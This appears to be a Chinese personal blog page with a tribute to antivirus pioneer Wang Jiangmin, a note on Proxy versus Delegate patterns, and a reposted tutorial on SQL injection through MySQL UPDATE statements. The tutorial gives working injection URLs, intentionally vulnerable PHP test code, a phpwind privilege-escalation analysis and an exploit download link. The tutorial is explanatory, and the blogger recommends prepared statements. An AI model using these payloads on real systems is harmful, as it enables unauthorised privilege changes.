手机浏览 RSS 2.0 订阅 膘叔的简单人生 , 腾讯云RDS购买 | 超便宜的Vultr , 注册 | 登陆
浏览模式: 标准 | 列表2010年04月5日的文章

惊:江民董事长王江民因心脏病突发逝世 享年59岁

惊,看到这个消息的时候,真的很震惊。唉,一代宗师就这么走了。当然我说的一代宗师并不是说他的功夫有多高多高,而是作为国内杀毒软件的先驱者,却这么早就离我们远去了。

第一次用的杀毒软件就是KV系列,DOS下的王者,KV300,至今还让我记忆犹新,可是这次cnbeta上的新闻,真的让我震惊了。

根据多方消息,北京江民新科技术有限公司董事长,著名的反病毒专家王江民先生,昨日上午10时在北京京西信翔鱼池钓鱼时心脏病突发,抢救无效逝世,享年59岁。王江民先生是国家高级工程师、曾担任中国残联理事、山东省烟台市政协委员、山东省肢残人协会副理事长,荣获过"全国新长征突击手标兵"、"全国青年自学成才标兵"、"全国自强模范"等荣誉,有着20多项技术成果和专利,在信息安全领域作出了突出贡献。
12:25 江民网站已经将首页变为灰色以示悼念。
14:20 江民网站已经挂出讣告和遗照。

江民网站http://jiangmin.com已经将首页变为灰色以示悼念。图/江民科技

王江民1951年出生于上海。三岁因患小儿麻痹后遗症而腿部残疾,人生赋予他的似乎是一条不可能成功的路。初中毕业后,回到老家山东烟台的王江民从一名街 道工厂的学徒工干起,刻苦自学,成长为拥有各种创造发明20多项的机械和光电类专家。1979年,因为在激光产品方面获得多项国内外先进水平的科研成果, 王江民被评选为全国首批105个新长征突击手标兵之一。 1985年,他获得“全国青年自学成才标兵”称号;1991年,他被命名为“全国自强模范”。1989年,王江民38岁开始学习计算机。不出几年,他就成 为中国最早的反病毒专家。 1996年的一天,王江民打了一辆黄色的“面的”来到中关村,开始了他的创业之路。 2003年,王江民靠着他的杀毒软件,挤身“中国IT富豪榜50强”,成为新世纪“知识英雄”的典范。

王江民开创的江民新科技术有限公司,业内技术和资金实力雄厚,公司拥有中关村地标建筑五星级写字楼近7000平米产权。KV江民杀毒王,2001年产品出 品日本,2003年销量直逼日本杀毒市场前三强,是国内首家以自主知识产权出口海外市场的软件厂商。公司技术力量在业内名列前茅,1996年和1998年 在对付宏病毒和CIH病毒的事件中表现出众,产品受到公安部的肯定和广泛使用。江民公司是2000年度中关村科技园区缴税大户前百名,王江民还十分热心公 益事业,2001年5月江民公司向中国残疾人福利基金会捐款100万元。

“38岁开始学习计算机,两三年之内成为中国最出色的反病毒专家 之一;45岁只身一人独闯中关村办公司,产品很快占据反病毒市场的80%以上。”,这些事 实已经让我们无法忽视王江民对中国软件开发带来的影响力,在业内被尊称为老师的王江民,凭借坚持而开拓出了杀毒软件市场,这也成为中国软件产业所仅有的几 个亮点之一。尽管现在KV系列产品中早已没有了一行他的代码,而且在市场中的表现也差强人意。但毋庸置疑,KV系列让众多的程序员知道了王江民,而他身残 志坚的毅力和品质也让很多程序员面对困难和挫折时,从中得到鼓舞。

生活中的王江民先生也是一个酷爱鱼的人,热心钓鱼活动,认真下功夫去钻研钓技,学习竞技钓时间不长,但钓技提高很快。经常赞助各种钓鱼比赛和活动,尤其是对于残疾 人钓鱼的各种活动都是积极赞助,积极参加,并在钓鱼比赛中取得过较好的成绩。

新闻来源:chinafishing.com

他,三岁因小儿麻痹症而落下终身残疾,没有进过正规大学的校门,二十多岁在一个街道小厂当技术员,三十八岁之前还不知道电脑为世间何物。就是这个无 论从哪 个角度说,都从未受到社会眷顾的"弃儿",今天却被誉为中关村最富有传奇色彩的知识英雄,中国软件业界中的奇才,国际上都赫赫有名的"杀毒王"。他就是王 江民。
王江民走出的人生第一步就非常沉重。他出生在山东烟台一个普通家庭,从记事起王江民就知道自己和别人是不同的,小儿麻痹症给他留下了一条病腿。他只能看着小朋友们在楼下尽情地欢呼跳跃。

王 江民:我自己只能在家里的窗户上,在楼上看着楼下的人群。然后用一张纸撕成一些小条条,然后,拧成一些转转儿从楼上往下扔,看着转转儿一直飘到楼下去,小 时候上小学的时候,比较喜欢学无线电搞半导体收音机。从矿石收音机一直到晶体管收音机,一直到双波段收音机,一直到无线电通迅,一直到电唱机留声机。这些 东西我全都自己搞出来过。搞得还比较好也全都是自学的。

1971年他初中毕业,没有上过一天高中的他终于在一家街道工厂找到了工作。
 
那时候,王江民只是不满足于当工人,想当好一名技术员。凭借自己的刻苦和钻研,他改变了自己的命运,成为工厂里的技术骨干和革新能手。由 于王江民在当地树立了身残志坚的榜样,还被授予了"全国新长征突击手标兵"、"全国青年自学成长标兵"、"全国自强模范"等诸多的称号。几年后,他被调到 了一家国有企业,从事光机电设计和工控软件设计。
 
王江民:我最精通的就是机电行业。搞了几十项机电行业的新产品和技术革新。当然那些项目都很大,大机床、大设备都很庞大也非常地沉重。那么,后来就是慢慢 大家对计算机时代的到来,开始有了一些认识。我那时候从纯机械到电子一直到电脑。因为我还不懂计算机呢。那时候我也没有学过,学校里也没有电脑,那时候我 们国家经常有人出国回来后做报告说:国外电脑怎么着,说美国电脑怎么着、怎么着,以后整个社会整个工厂生产全都是自动化电脑控制的。把电脑都说神话了。那 时候就感觉到。我是搞技术开发的,也许搞产品设计的也是搞技术的,如果不懂电脑就跟不上时代的潮流。我已经搞了十几年的机电技术,所以又开始学点儿电脑, 那时候已经三十八岁。
 
就这样,38岁的王江民在不知不觉中开始了他人生旅途中的一项新的事业。很显然当时他自己并没有意识到。那时他的目的非常简单,就是学会使用计算机。
 
王江民:我自己开始学习电脑的时候,开始对电脑有初步认识的时候。是单位的一"IBM"。那么,现在想那个档次就是"186"。后来单位的电脑看得太死 了,任何人不准动。学的时候还得偷偷摸摸去学几下,动不了几下让领导看见还得挨批评。那就是后来感觉到不方便,那怎么办呢?就干脆自己买一个。那时候刚刚 社会上有一个"中华学习机"咱们国家第一批生产的电脑叫"中华学习机"。接着第二年就买了一个PC机也是国产的。
 
就是这位今天拥有正版用户最多、市场占有量最大的KV系列杀毒软件的发明人,有谁能够想到,当年王江民凭着自学的电脑知识,开发的第一个软件竟是被儿子逼出来的。
 
王江民:那时候,我儿子已经上小学一年级了。学校整天让家长出题,出的题也得符合逻辑。一天出五十道口算题,你不能说二加三等于几?二十加三十等于多少? 你也得简单考虑它的逻辑性,也不能随便的出,应付,那不行。但是别看这五十道题,这五十道题出来后,你好好地考虑这五十道题,挺费事儿的。也挺费时间的。 所以我干脆就编个程序通过计算机打印出来,然后一打印出来就几百道题、几十道题。
 
本来只是为了应付儿子,无意间却成为风靡全国的教育软件。在别人眼里,王江民是个天才。其实他只是个爱较真的人,每逢进入自己陌生的领域,他一定要刻苦钻研后征服;每逢遇到问题,他一定要归纳总结后解决。哪怕是不吃饭不睡觉。
 
王江民过去的同事严绍文:他是很多方面的专家,你看他是咱们国家的光学专家,可能他的专利到现在还没有多少人能超过他。他是光学专家、他是机械专家。我有 时候觉得在我们这个小厂子,人家都说他是一个怪才。怎么王江民学什么他都行,学什么都比别人强。我觉得很奇怪呀!到我们这个(电脑)行业,我想肯定赶不上 我了,其实他比我不知道强到哪去了。真是这样的。我觉得他最大的贡献可能就在这就是以前,在他研究之前做病毒的。也有但是都是有一说一,有二说二。他不 是。他善于把这个问题总结起来,就是从具体的东西到一些抽象起来,这种东西我觉得这也是很可贵的事。
 
正是王江民这样的"较真",为他自己创造了一次又一次新的机遇,也让他离成功越来越近了。在工作中,他开始发现计算机老有病毒出来,影响设备的正常运行。
 
商人的嗅觉是最灵敏的。当王江民的杀毒软件从KV6迅速升级到KV100,一位电脑经销商跟王江民商量,你能不能别再送了,我帮你卖吧。一石激起千层浪,王江民的产品被卖到了中关村,杀毒软件KV100一炮打响。软件经销商们纷纷到山东向王江民申请许可经销权。

做技术出身的王江民初涉商海就被骗了,被他独家许可的这家软件经销商并没有兑现合约。虽然kv系列杀毒软件卖得很好,但是王江民没有拿到应得的转让费。
 
王江民:我就发现有些商人,他挣了那么多的钱。这点小钱他都不给开发人员。所以他也太奸滑了。商人也太不象话了,所以我的KV300就不再许可给他。觉得这种合作不长久。他赚了那么多的钱,到现在还欺骗我。我觉得他不是一个真正的合作伙伴,就不跟他合作了。

毫无疑问,众多的客户看好的是"江民"产品过硬的杀毒技术。但是,这过硬的技术也惹恼了假冒产品的仿制者和设计电脑病毒的人。他们开始用恶毒的手段攻击王江民。圈里人都知道中关村有过专门针对他的"倒王运动"。
 
中关村是创业者的硅谷,也同样是他们的麦城。因为无限的商机和激烈的竞争如影随形。书生气十足的王江民和他的公司在竞争中吃了不少亏,遇到明争暗斗的事他 就气得拍桌子瞪眼睛。当别人问到他对某某人的看法,他会直截了当地说,"这个人不可交,我可不愿意理他。"接触他长了会觉得,他性格中很多地方不像商人, 不够圆滑、不够狡诈。

王江民:按照我的性格我是学不会的。肯定是学不会的。我只有靠我们自己的技术,靠我们产品的技术含量,靠我们市场服务含量,来争取市场。来争取客户。但是这样可能比较累一些。
 
除了技术,王江民的信誉也是让他在商战中制胜的利器。就在对手以咄咄逼人之势蚕食杀毒软件市场之时,王江民推出了新一代杀毒软件KV3000。连邦公司一 次性定货8万套,价值550万元。这相当于国内一流的通用软件公司全年的流水。这家公司做这笔生意,凭的就是王江民的信誉,他们认为王江民这三个字最值 钱!王江民总结的商场原则是:做生意也跟做人一样,不能太贪。他给经销商的销售额分成经常超过经销商自己的想象。
 
王江民:其实我最喜欢做的还是开发软件。最喜欢做的是怎样把一个病毒去杀掉,就是说怎么样使你亲手做的软件,在整个社会上去杀那些计算机病毒。去拯救那些 被计算机病毒侵害的计算机。最头疼的也就是说这个公司需要非常好的策划,出一个非常好的市场运作的方式、方法。怎么样去能把这个市场运作到最佳状态。但是 这些都是说必须我去牺牲软件开发这一块。来纯粹作公司的管理,市场运作。但这一块还是我最不愿意做的。但是现在逼得我不做不行了。
 
在中关村科技园区企业百佳纳税名单中,江民公司是软件行业入选的5家之一,销售额在同行业中也名列前茅。靠着自己的技术和努力,王江民成 为中关村的亿万富翁。有了钱,他没有过起奢华的生活,而是捐给了残疾人、教师和贫困的大学生。除了回报社会,他还为别人投资项目,虽然迄今为止他还没从这 些投资项目里拿过分红。当然,王江民就是王江民,驰骋中关村六年,有时还是那么憨厚、那么单纯。 
 
在中国的软件发展史上,王江民绝对是可圈可点的一个人。除了他的勤奋刻苦,他的成功从某种角度来说也是他做人的成功。在对大学生的演讲中,王江民总是不忘忠告:年轻人要少一些浮躁,多一些真才实学,要坚持勤奋学习,知识丰富了,能力高了,才能抓住机遇,机遇有的是。

FlowerCode@cnBeta 节选自 BTV
--EOF--
以上新闻均来自cnbeta
王江民:传奇一生

[快讯] 江民董事长王江民因心脏病突发逝世 享年59岁

发文以作纪念。纪念我国杀毒软件的先驱者

UPDATE注射(mysql+php)的两个模式

寂寞hack的文章,简单的介绍了一些注入方法,可以了解一下,但并没有那样的实用,经知道现在很多框架、代码都采用了PDO,使用了prepare的方法,基本上可以避免这些问题的发生。当然,光靠这些是不一定能够完全避免的,代码上还是要严格控制一下。

原文来自于:http://hi.baidu.com/isbx/blog/item/35d86a605b1fbf48eaf8f851.html


一、测试环境

OS: Windowsxp sp2
php: php 4.3.10
mysql 4.1.9
apache 1.3.33

二、测试数据库结构

SQL代码
  1. -- 数据库: `test`  
  2. --  
  3. -- --------------------------------------------------------  
  4. --   
  5. -- 表的结构 `userinfo`  
  6. --  
  7.   
  8. CREATE TABLE `userinfo` (  
  9. `groudid` varchar(12) NOT NULL default '1',  
  10. `uservarchar(12) NOT NULL default 'heige',  
  11. `pass` varchar(122) NOT NULL default '123456'  
  12. ) ENGINE=MyISAM DEFAULT CHARSET=latin1;  
  13.   
  14. --   
  15. -- 导出表中的数据 `userinfo`  
  16. --  
  17.   
  18. INSERT INTO `userinfo` VALUES ('2', 'heige', '123456')  

三、测试模式

1、变量没有带''或""

PHP代码
  1. <?php  
  2. //test1.php Mod1  
  3. $servername = "localhost";  
  4. $dbusername = "root";  
  5. $dbpassword = "";  
  6. $dbname = "test";  
  7.   
  8. mysql_connect($servername,$dbusername,$dbpasswordor die ("数据库连接失败");  
  9.   
  10. $sql = "update userinfo set pass=$p where user='heige'";//<--$P没有使用单引号  
  11.   
  12. $result = mysql_db_query($dbname$sql);  
  13. $userinfo = mysql_fetch_array($result);  
  14.   
  15. echo "<p>SQL Query:$sql<p>";  
  16. ?>  
脚本里只是修改 user=&apos;heige&apos; 的 pass,如果 groudid 表示用户的权限等级,我们的目的就是通过构造 $p 来达到修改 groupid 的目的,那么我们提交:

http://127.0.0.1/test1.php?p=123456,groudid=1

在mysql里查询:

SQL代码
  1. mysql> select * from userinfo;  
  2. +---------+-------+--------+  
  3. | groudid | user | pass |  
  4. +---------+-------+--------+  
  5. | 1 | heige | 123456 |  
  6. +---------+-------+--------+  
  7. 1 row in set (0.01 sec)  

用户heige的groudid又2改为1了 :)

所以我们可以得到没有&apos;&apos;或""update的注射是可以成功的,这个就是我们的模式1。

2、变量带&apos;&apos;或""

PHP代码
  1. <?php  
  2. //test2.php  
  3. $servername = "localhost";  
  4. $dbusername = "root";  
  5. $dbpassword = "";  
  6. $dbname = "test";  
  7.   
  8. mysql_connect($servername,$dbusername,$dbpasswordor die ("数据库连接失败");  
  9.   
  10. $sql = "update userinfo set pass='$p' where user='heige'";//<--$P使用单引号  
  11.   
  12. $result = mysql_db_query($dbname$sql);  
  13. $userinfo = mysql_fetch_array($result);  
  14.   
  15. echo "<p>SQL Query:$sql<p>";  
  16. ?>  

为了关闭&apos;我们构造$p应该为 123456&apos;,groudid=&apos;2 提交:

http://127.0.0.1/test2.php?p=123456&apos;,groudid=&apos;1

在gpc=on的情况下&apos;变成了\&apos;,提交的语句变成:

SQL Query:update userinfo set pass=&apos;123456\&apos;,groudid=\&apos;1&apos; where user=&apos;heige&apos;

 

mysql查询:

SQL代码
  1. mysql> select * from userinfo;  
  2. +---------+-------+--------------------+  
  3. | groudid | user | pass |  
  4. +---------+-------+--------------------+  
  5. | 2 | heige | 123456',groudid='1 |  
  6. +---------+-------+--------------------+  
  7. 1 row in set (0.00 sec)  
groudid并没有被修改。那么在变量被&apos;&apos;或""时 就完全没有被注射呢?不是 下面我们看模式2:

PHP代码
  1. <?php  
  2. //test3.php Mod2  
  3. $servername = "localhost";  
  4. $dbusername = "root";  
  5. $dbpassword = "";  
  6. $dbname = "test";  
  7.   
  8. mysql_connect($servername,$dbusername,$dbpasswordor die ("数据库连接失败");  
  9.   
  10. $sql = "update userinfo set pass='$p' where user='heige'";//<--$P使用单引号  
  11.   
  12. $result = mysql_db_query($dbname$sql);  
  13. mysql_fetch_array($result); //$p的数据写入数据库  
  14.   
  15. $sql"select pass from userinfo where user='heige'";  
  16. $result = mysql_db_query($dbname$sql);  
  17. $userinfo=mysql_fetch_array($result);  
  18.   
  19. echo $userinfo[0]; //把pass查询输出给$userinfo[0]  
  20.   
  21. $sql ="update userinfo set pass='$userinfo[0]' where user='heige'";  
  22. $result = mysql_db_query($dbname$sql);  
  23. mysql_fetch_array($result); //把$userinfo[0] 再次update  
  24.   
  25. ?>  
我们测试下,提交:

 

http://127.0.0.1/test3.php?p=123456&apos;,groudid=&apos;1

回mysql查询下 :

SQL代码
  1. mysql> select * from userinfo;  
  2. +---------+-------+--------+  
  3. | groudid | user | pass |  
  4. +---------+-------+--------+  
  5. | 1 | heige | 123456 |  
  6. +---------+-------+--------+  
  7. 1 row in set (0.00 sec)  
HaHa~~ 成功注射 修改groudid为1。 这个就是我们的模式2了,简单的描叙如下:

 

 

update --> select --> update

 


四、实际模式

模式1:缺

模式2:phpwind 2.0.2和3.31e 权限提升漏洞

漏洞分析

 

update (profile.php 注射变量为$proicon update语句里为,icon=&apos;$userdb[icon]&apos;)

select (jop.php)

updtate (jop.php)
Exploit: http://www.huij.net/9xiao/up/phpwind-exploit.exe

知识:代理(Proxy)和委派(Delegate)的区别

说实话,如果不是必要,真不是特别推荐采用proxy方法。特别是在PHP中,采用proxy势必会造成include文件过多。IO的消耗非常恐怖,如果又采用openbasedir,那么还要恐怖 。性能会下降的很厉害。。。

下面是老王的文章:

模式是程序员之间的交流语言,代理(Proxy)和委派(Delegate)是模式中常见的词汇,不过很多人把他们混淆了,甚至等同起来,这会造成很多沟通交流上的误解,下面说说他们的区别,先看一个UML图:



图形已经表述的很直白了,如果还不清晰,可以看看下面的代码:

PHP代码
  1. interface Subject  
  2. {  
  3.     public function DoAction();  
  4. }  
  5.   
  6. class RealSubject implements Subject  
  7. {  
  8.     public function DoAction()  
  9.     {  
  10.         echo '_RealSubject::DoAction_';  
  11.     }  
  12. }  
  13.   
  14. class Proxy implements Subject  
  15. {  
  16.     public function __construct()  
  17.     {  
  18.         $this->subject = new RealSubject();  
  19.     }  
  20.   
  21.     public function DoAction()  
  22.     {  
  23.         echo 'Proxy::DoAction';  
  24.         $this->subject->DoAction();  
  25.         echo 'Proxy::DoAction';  
  26.     }  
  27. }  
  28.   
  29. $proxy = new Proxy();  
  30. $proxy->DoAction();  


运行结果输出:Proxy::DoAction_RealSubject::DoAction_Proxy::DoAction

如果你还没有看出端倪,我就再废话几句:首先从词性来看,代理(Proxy)是名词,委派(Delegate)是动词,其次代理说明了若干个对象实现了一个共同的接口,而委派只是说明一个对象引用了另一个对象,并不牵扯接口。

既然说到这了,就再唠叨几句:什么时候适合使用Proxy模式呢?对PHP而言,一般是当需要给对象附加额外的逻辑时,而这些逻辑和原有逻辑又分属不同的 层次,此时就可以考虑使用Proxy模式。听起来有点拗口,说一个实际的例子,比如说我们实现了Article对象,里面封装了CRUD方法,现在我们要 加入权限判断,控制CRUD的访问限制,这些新加入的逻辑属于应用逻辑,而原有的逻辑属于持久化逻辑,从分层角度看它们不应该放在一个对象里,此时就可以 创建一个ArticleProxy代理对象,用来实现权限判断,至于CRUD操作,则通过委派给Article对象来完成。

当年的JIVE论坛大量使用了此类方法,不过现在JIVE论坛早已销声匿迹,但思想还是可以借鉴的。通过使用代理模式,可以把不同侧重点的逻辑分别封装到 不同的对象里去(和装饰模式有点像,至于如何区分就是另一个话题了),从而避免God Class的产生,不过这样设计的结果会产生大量的类,孰重孰轻还得视客观情况而定。
原文来自:http://hi.baidu.com/thinkinginlamp/blog/item/2297a7efcb52a31afdfa3cc2.html
老王一天到晚在研究新奇玩意,上次说在PC下安装object-C,也是我挺喜欢的。

 

Tags: proxy, delegate